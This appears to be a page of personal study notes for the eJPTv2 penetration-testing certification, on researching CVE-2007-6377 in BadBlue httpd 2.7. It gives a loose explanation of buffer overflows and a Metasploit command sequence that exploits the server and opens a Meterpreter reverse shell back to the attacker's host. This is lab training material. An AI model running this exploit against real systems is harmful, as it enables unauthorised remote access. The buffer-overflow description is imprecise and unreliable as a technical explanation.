> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/vulnerability-assessment/vulnerability-research.md).

# Vulnerability Research

BadBlue httpd 2.7

* It's a file server
* We go to google "badblue 2.7 cve"
* CVE-2007-6377 
* ExploitDB 

Buffer Overflow utilizes memory in order to run our own code.

They jump around in memory until they find a place where they can run code and then they run it.

```
msfconsole -q
> use exploit/windows/http/badblue_passthru
> set payload windows/meterpreter/reverse_tcp
> set rhosts <Target-IP>
> set lhost <our-IP>
> run
```